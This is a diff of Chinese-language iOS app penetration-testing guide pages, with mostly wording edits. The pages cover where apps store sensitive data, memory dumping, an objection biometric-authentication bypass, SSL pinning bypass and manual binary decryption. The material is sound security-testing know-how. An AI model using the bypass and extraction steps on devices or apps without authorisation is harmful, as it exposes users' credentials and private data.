- [ ] 检查应用程序 **是否未检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
|
||||
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
|
||||
@ -81,7 +81,7 @@
|
||||
|
||||
### 网络通信
|
||||
|
||||
- [ ] 执行 [**MitM 进行通信**](ios-pentesting/#network-communication) 并搜索 Web 漏洞。
|
||||
- [ ] 执行 [**MitM 到通信**](ios-pentesting/#network-communication) 并搜索 Web 漏洞。
|
||||
- [ ] 检查 [**证书的主机名**](ios-pentesting/#hostname-check) 是否被检查
|
||||
- [ ] 检查/绕过 [**证书钉扎**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # 应该包含符号:stack_chk_gua
|
||||
otool -I -v <app-binary> | grep objc_release # 应该包含 _objc_release 符号
|
||||
```
|
||||
|
||||
- **Encrypted Binary**:二进制文件应被加密
|
||||
- **Encrypted Binary**:二进制文件应已加密
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid 应该为 1
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
查看 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 执行的动态分析。您需要浏览不同的视图并与之交互,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
|
||||
查看 [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) 执行的动态分析。您需要浏览不同的视图并与之互动,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -168,7 +168,7 @@ ios-hooking-with-objection.md
|
||||
- **`_CodeSignature/`**:此目录包含一个plist文件,包含签名,确保包中所有文件的完整性。
|
||||
- **`Assets.car`**:一个压缩档案,存储图标等资产文件。
|
||||
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能以`.dylib`或`.framework`文件的形式存在。
|
||||
- **`PlugIns/`**:这可能包括应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤消功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||||
- **`PlugIns/`**:这可能包括对应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤销功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo`文件是指定应用程序或包的类型和创建者代码的另一种方式。
|
||||
- **en.lproj, fr.proj, Base.lproj**:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
||||
- **安全性**:`_CodeSignature/`目录在应用程序的安全性中发挥着关键作用,通过数字签名验证所有打包文件的完整性。
|
||||
@ -197,14 +197,14 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**数据路径**
|
||||
|
||||
在 iOS 环境中,目录专门为 **系统应用程序** 和 **用户安装的应用程序** 指定。系统应用程序位于 `/Applications` 目录下,而用户安装的应用程序则放置在 `/var/mobile/containers/Data/Application/` 下。这些应用程序被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用程序文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||||
在 iOS 环境中,目录专门为 **系统应用** 和 **用户安装的应用** 指定。系统应用位于 `/Applications` 目录下,而用户安装的应用则放在 `/var/mobile/containers/Data/Application/` 下。这些应用被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||||
|
||||
> [!WARNING]
|
||||
> 由于 iOS 中的应用程序必须被沙盒化,每个应用程序在 **`$HOME/Library/Containers`** 中也会有一个以应用程序的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||||
> 由于 iOS 中的应用必须被沙盒化,每个应用在 **`$HOME/Library/Containers`** 中也会有一个以应用的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||||
>
|
||||
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
|
||||
|
||||
为了方便发现用户安装的应用程序的安装目录,**objection tool** 提供了一个有用的命令 `env`。该命令显示了相关应用程序的详细目录信息。以下是如何使用此命令的示例:
|
||||
为了方便发现用户安装的应用的安装目录,**objection tool** 提供了一个有用的命令 `env`。该命令显示了相关应用的详细目录信息。以下是如何使用此命令的示例:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -215,7 +215,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||
```
|
||||
另外,可以使用 `find` 命令在 `/private/var/containers` 中搜索应用名称:
|
||||
另外,可以使用 `find` 命令在 `/private/var/containers` 中搜索应用程序名称:
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
@ -235,12 +235,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Data directory:**
|
||||
|
||||
- **Documents/**
|
||||
- 包含所有用户生成的数据。应用程序最终用户发起此数据的创建。
|
||||
- 包含所有用户生成的数据。应用程序最终用户启动此数据的创建。
|
||||
- 对用户可见,**用户可以写入**。
|
||||
- 此目录中的内容**被备份**。
|
||||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
- **Library/**
|
||||
- 包含所有**非用户特定**的**文件**,例如**缓存**、**偏好设置**、**cookies**和属性列表(plist)配置文件。
|
||||
- 包含所有**非用户特定**的**文件**,如**缓存**、**偏好设置**、**cookies**和属性列表(plist)配置文件。
|
||||
- iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
|
||||
- **Library/Caches/**
|
||||
- 包含**半持久的缓存文件**。
|
||||
@ -248,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- 此目录中的内容**不被备份**。
|
||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||
- **Library/Application Support/**
|
||||
- 包含运行应用程序所需的**持久性****文件**。
|
||||
- 包含运行应用程序所需的**持久****文件**。
|
||||
- 对**用户不可见**,用户无法写入。
|
||||
- 此目录中的内容**被备份**。
|
||||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||||
@ -263,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- 此目录中的内容不被备份。
|
||||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||||
|
||||
让我们更仔细地看看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录中(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
让我们仔细看看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录中(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -366,7 +366,7 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> 以下存储信息的位置应在 **安装应用程序后立即** 检查,**在检查应用程序的所有功能后**,甚至在 **从一个用户注销并登录到另一个用户后**。\
|
||||
> 以下存储信息的地方应在 **安装应用程序后立即** 检查,**在检查应用程序的所有功能后**,甚至在 **从一个用户注销并登录到另一个用户后**。\
|
||||
> 目标是找到应用程序的 **未保护的敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
||||
|
||||
### Plist
|
||||
@ -379,7 +379,7 @@ ios-basics.md
|
||||
|
||||
此数据不能再通过受信任的计算机直接访问,但可以通过执行 **备份** 进行访问。
|
||||
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` 来 **转储** 保存的信息。
|
||||
您可以使用 objection 的 `ios nsuserdefaults get` 来 **转储** 使用 **`NSUserDefaults`** 保存的信息。
|
||||
|
||||
要找到应用程序使用的所有 plist,您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
||||
```bash
|
||||
@ -391,7 +391,7 @@ find ./ -name "*.plist"
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**对于Linux用户:** 首先安装`libplist-utils`,然后使用`plistutil`转换您的文件:
|
||||
**对于Linux用户:** 首先安装 `libplist-utils`,然后使用 `plistutil` 转换您的文件:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -402,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身并不是数据库。\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身不是数据库。\
|
||||
CoreData 默认不加密其数据。然而,可以向 CoreData 添加额外的加密层。有关更多详细信息,请参见 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)。
|
||||
|
||||
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite 数据库
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一个 **轻量级** 和 **嵌入式** 的数据库引擎,遵循 **文档导向** (NoSQL) 方法。它旨在原生支持 **iOS** 和 **macOS**,提供无缝同步数据的能力。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一个 **轻量级** 和 **嵌入式** 数据库引擎,遵循 **文档导向** (NoSQL) 方法。它旨在原生支持 **iOS** 和 **macOS**,提供无缝同步数据的能力。
|
||||
|
||||
要识别设备上潜在的 Couchbase 数据库,应检查以下目录:
|
||||
```bash
|
||||
@ -489,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
iOS 将应用的 cookies 存储在每个应用文件夹内的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
||||
|
||||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`。**\
|
||||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`**。\
|
||||
**您还可以使用 objection 将这些文件转换为 JSON 格式并检查数据。**
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
@ -508,31 +508,31 @@ iOS 将应用的 cookies 存储在每个应用文件夹内的 **`Library/Cookies
|
||||
```
|
||||
### Cache
|
||||
|
||||
默认情况下,NSURLSession会将数据存储在**Cache.db**数据库中,例如**HTTP请求和响应**。如果令牌、用户名或任何其他敏感信息被缓存,则该数据库可能包含**敏感数据**。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`),并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
|
||||
默认情况下,NSURLSession 将数据存储在 **Cache.db** 数据库中,例如 **HTTP 请求和响应**。如果令牌、用户名或任何其他敏感信息被缓存,则该数据库可能包含 **敏感数据**。要查找缓存的信息,请打开应用的数据目录 (`/var/mobile/Containers/Data/Application/<UUID>`) 并转到 `/Library/Caches/<Bundle Identifier>`。**WebKit 缓存也存储在 Cache.db** 文件中。**Objection** 可以通过命令 `sqlite connect Cache.db` 打开并与数据库交互,因为它是一个 **普通的 SQLite 数据库**。
|
||||
|
||||
**建议禁用缓存这些数据**,因为它可能在请求或响应中包含敏感信息。以下列表显示了实现此目的的不同方法:
|
||||
**建议禁用缓存这些数据**,因为它可能包含请求或响应中的敏感信息。以下列表显示了实现此目的的不同方法:
|
||||
|
||||
1. 建议在注销后删除缓存的响应。这可以通过Apple提供的方法[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)来完成。您可以按如下方式调用此方法:
|
||||
1. 建议在注销后删除缓存的响应。这可以通过 Apple 提供的方法 [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) 来完成。您可以按如下方式调用此方法:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
此方法将从Cache.db文件中删除所有缓存的请求和响应。
|
||||
此方法将从 Cache.db 文件中删除所有缓存的请求和响应。
|
||||
|
||||
2. 如果您不需要使用cookie的优势,建议仅使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性,这将禁用保存cookie和缓存。
|
||||
2. 如果您不需要使用 cookie 的优势,建议仅使用 URLSession 的 [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) 配置属性,这将禁用保存 cookie 和缓存。
|
||||
|
||||
[Apple文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
[Apple 文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`一个短暂的会话配置对象类似于默认的会话配置(见default),不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反,与会话相关的数据存储在RAM中。短暂会话写入磁盘的唯一时间是当您告诉它将URL的内容写入文件时。`
|
||||
`一个短暂的会话配置对象类似于默认的会话配置(见 default),不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反,与会话相关的数据存储在 RAM 中。短暂会话写入磁盘的唯一时间是当您告诉它将 URL 的内容写入文件时。`
|
||||
|
||||
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
3. 通过将缓存策略设置为 [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) 也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||||
|
||||
### Snapshots
|
||||
|
||||
每当您按下主屏幕按钮时,iOS会**拍摄当前屏幕的快照**,以便能够以更平滑的方式过渡到应用程序。然而,如果当前屏幕上存在**敏感** **数据**,它将被**保存**在**图像**中(该图像**在重启后仍然存在**)。这些快照您也可以通过双击主屏幕在应用之间切换访问。
|
||||
每当您按下主屏幕按钮时,iOS **会拍摄当前屏幕的快照**,以便能够以更平滑的方式过渡到应用程序。然而,如果当前屏幕上存在 **敏感** **数据**,它将被 **保存** 在 **图像** 中(该图像 **在重启后仍然存在**)。这些快照您也可以通过双击主屏幕在应用之间切换访问。
|
||||
|
||||
除非iPhone越狱,否则**攻击者**需要**访问**未被**解锁**的**设备**才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
|
||||
除非 iPhone 已越狱,否则 **攻击者** 需要 **访问** **未解锁** 的 **设备** 才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于 `Library/Caches/Snapshots/` 或 `Library/SplashBoard/Snapshots` 文件夹中(受信任的计算机无法从 iOS 7.0 访问文件系统)。
|
||||
|
||||
防止这种不良行为的一种方法是在使用`ApplicationDidEnterBackground()`函数拍摄快照之前,放置一个空白屏幕或删除敏感数据。
|
||||
防止这种不良行为的一种方法是在使用 `ApplicationDidEnterBackground()` 函数拍摄快照之前放置一个空白屏幕或删除敏感数据。
|
||||
|
||||
以下是设置默认屏幕截图的示例修复方法。
|
||||
|
||||
@ -584,13 +584,13 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
|
||||
## **自定义键盘和键盘缓存**
|
||||
|
||||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在敏感信息输入时使用自定义键盘。
|
||||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在敏感信息输入时使用自定义键盘。
|
||||
|
||||
**安全建议:**
|
||||
|
||||
- 建议禁用第三方键盘以增强安全性。
|
||||
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会在位于 `Library/Keyboard/{locale}-dynamic-text.dat` 或 `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中存储敏感信息。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
|
||||
- 拦截网络流量可以揭示自定义键盘是否正在远程传输按键。
|
||||
- 拦截网络流量可以揭示自定义键盘是否远程传输按键。
|
||||
|
||||
### **防止文本字段缓存**
|
||||
|
||||
@ -599,7 +599,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
此外,开发人员应确保文本字段,特别是用于输入敏感信息如密码和 PIN 的字段,通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 和 `secureTextEntry` 设置为 `YES` 来禁用缓存。
|
||||
此外,开发人员应确保文本字段,特别是用于输入敏感信息(如密码和 PIN)的字段,通过将 `autocorrectionType` 设置为 `UITextAutocorrectionTypeNo` 和 `secureTextEntry` 设置为 `YES` 来禁用缓存。
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
@ -673,7 +673,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## 关于敏感数据内存测试的总结
|
||||
|
||||
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的主要方法有两种:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能会错过关键数据。
|
||||
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的主要方法有两种:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
|
||||
|
||||
## **检索和分析内存转储**
|
||||
|
||||
@ -724,7 +724,7 @@ ios monitor crypt
|
||||
|
||||
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
|
||||
|
||||
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框和安全处理秘密数据。安全隔 enclave 保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||||
Apple 的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API,以便于用户身份验证对话框并安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID,而 Face ID 则依赖于面部识别而不妥协生物识别数据。
|
||||
|
||||
要集成 Touch ID/Face ID,开发者有两个 API 选择:
|
||||
|
||||
@ -749,7 +749,7 @@ ios monitor crypt
|
||||
|
||||
钥匙串提供了设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
|
||||
|
||||
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
|
||||
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是已配置设备密码。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -902,11 +902,11 @@ $ otool -L <AppName>.app/<AppName>
|
||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
该命令触发一个序列,其中 Objection 注册一个任务,有效地将 `evaluatePolicy` 检查的结果更改为 `True`。
|
||||
此命令触发一个序列,其中 Objection 注册一个任务,有效地将 `evaluatePolicy` 检查的结果更改为 `True`。
|
||||
|
||||
#### Frida
|
||||
|
||||
来自 [DVIA-v2 应用程序](https://github.com/prateek147/DVIA-v2) 的 **`evaluatePolicy`** 使用示例:
|
||||
来自 [DVIA-v2 application](https://github.com/prateek147/DVIA-v2) 的 **`evaluatePolicy`** 使用示例:
|
||||
```swift
|
||||
+(void)authenticateWithTouchID {
|
||||
LAContext *myContext = [[LAContext alloc] init];
|
||||
@ -1022,8 +1022,8 @@ burp-configuration-for-ios.md
|
||||
|
||||
### 证书钉扎
|
||||
|
||||
如果应用程序正确使用 SSL 钉扎,则只有在证书是预期的证书时,应用程序才会正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
||||
为了绕过这种保护,可以在越狱设备上安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
|
||||
为了绕过这种保护,可以在越狱设备上安装 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
您还可以使用 **objection's** `ios sslpinning disable`
|
||||
|
||||
@ -1031,22 +1031,22 @@ burp-configuration-for-ios.md
|
||||
|
||||
- 在 **`/System/Library`** 中可以找到系统应用使用的框架
|
||||
- 用户从 App Store 安装的应用程序位于 **`/User/Applications`**
|
||||
- **`/User/Library`** 包含用户级应用保存的数据
|
||||
- **`/User/Library`** 包含用户级应用程序保存的数据
|
||||
- 您可以访问 **`/User/Library/Notes/notes.sqlite`** 以读取应用程序中保存的笔记。
|
||||
- 在已安装应用程序的文件夹中 (**`/User/Applications/<APP ID>/`**) 您可以找到一些有趣的文件:
|
||||
- **`iTunesArtwork`**:应用程序使用的图标
|
||||
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用信息
|
||||
- **`iTunesMetadata.plist`**:在 App Store 中使用的应用程序信息
|
||||
- **`/Library/*`**:包含首选项和缓存。在 **`/Library/Cache/Snapshots/*`** 中可以找到在将应用程序发送到后台之前对其进行的快照。
|
||||
|
||||
### 热补丁/强制更新
|
||||
|
||||
开发人员可以 **立即远程修补其应用的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||||
开发人员可以 **立即远程修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
|
||||
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
|
||||
**这是一种危险的机制,可能会被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
||||
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
|
||||
|
||||
### 第三方
|
||||
|
||||
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,一些 SDK 可能开始包含恶意软件。
|
||||
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,有些可能开始包含恶意软件。
|
||||
|
||||
第三方 SDK 提供的服务可能包括用户行为跟踪、广告展示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息仅限于必要的信息,并确保没有敏感数据被暴露是至关重要的。
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **识别 iOS 设备的 UDID**
|
||||
|
||||
为了唯一识别 iOS 设备,使用一个称为 UDID 的 40 位数字序列。在 macOS Catalina 或更新版本中,可以在 **Finder 应用**中找到,因为 iTunes 不再存在。设备通过 USB 连接并在 Finder 中选择后,点击其名称下的详细信息,可以显示其 UDID 及其他信息。
|
||||
为了唯一识别 iOS 设备,使用一个称为 UDID 的 40 位序列。在 macOS Catalina 或更新版本中,可以在 **Finder 应用**中找到,因为 iTunes 不再存在。设备通过 USB 连接并在 Finder 中选择后,点击其名称下的详细信息即可显示其 UDID 及其他信息。
|
||||
|
||||
对于 Catalina 之前的 macOS 版本,iTunes 方便地发现 UDID。详细说明可以在 [这里](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) 找到。
|
||||
|
||||
@ -42,7 +42,7 @@ $ ssh -p 2222 root@localhost
|
||||
|
||||
### **重置忘记的密码**
|
||||
|
||||
要将忘记的密码重置为默认值(`alpine`),需要编辑 `/private/etc/master.passwd` 文件。这涉及将现有哈希替换为 `root` 和 `mobile` 用户条目旁边的 `alpine` 哈希。
|
||||
要将忘记的密码重置为默认值(`alpine`),需要编辑 `/private/etc/master.passwd` 文件。这涉及到将现有的哈希替换为 `root` 和 `mobile` 用户条目旁边的 `alpine` 哈希。
|
||||
|
||||
## **数据传输技术**
|
||||
|
||||
@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
|
||||
### **使用 Objection 进行文件管理**
|
||||
|
||||
**使用 Objection 的交互式 Shell:** 启动 objection 可以访问应用的 Bundle 目录。从这里,您可以导航到应用的 Documents 目录并管理文件,包括下载和上传到 iOS 设备。
|
||||
**使用 Objection 的交互式 Shell:** 启动 objection 可以访问应用的 Bundle 目录。从这里,您可以导航到应用的 Documents 目录并管理文件,包括将文件下载和上传到 iOS 设备。
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
@ -103,7 +103,7 @@ dump memory dump.bin 0x8000 0x10a4000
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**最终化解密:** 修改二进制文件的元数据以指示没有加密,使用工具如 **MachOView**,将 `cryptid` 设置为 0。
|
||||
**最终解密:** 修改二进制文件的元数据以指示没有加密,使用工具如 **MachOView**,将 `cryptid` 设置为 0。
|
||||
|
||||
### **解密(自动)**
|
||||
|
||||
@ -119,11 +119,11 @@ $ python dump.py -l
|
||||
```bash
|
||||
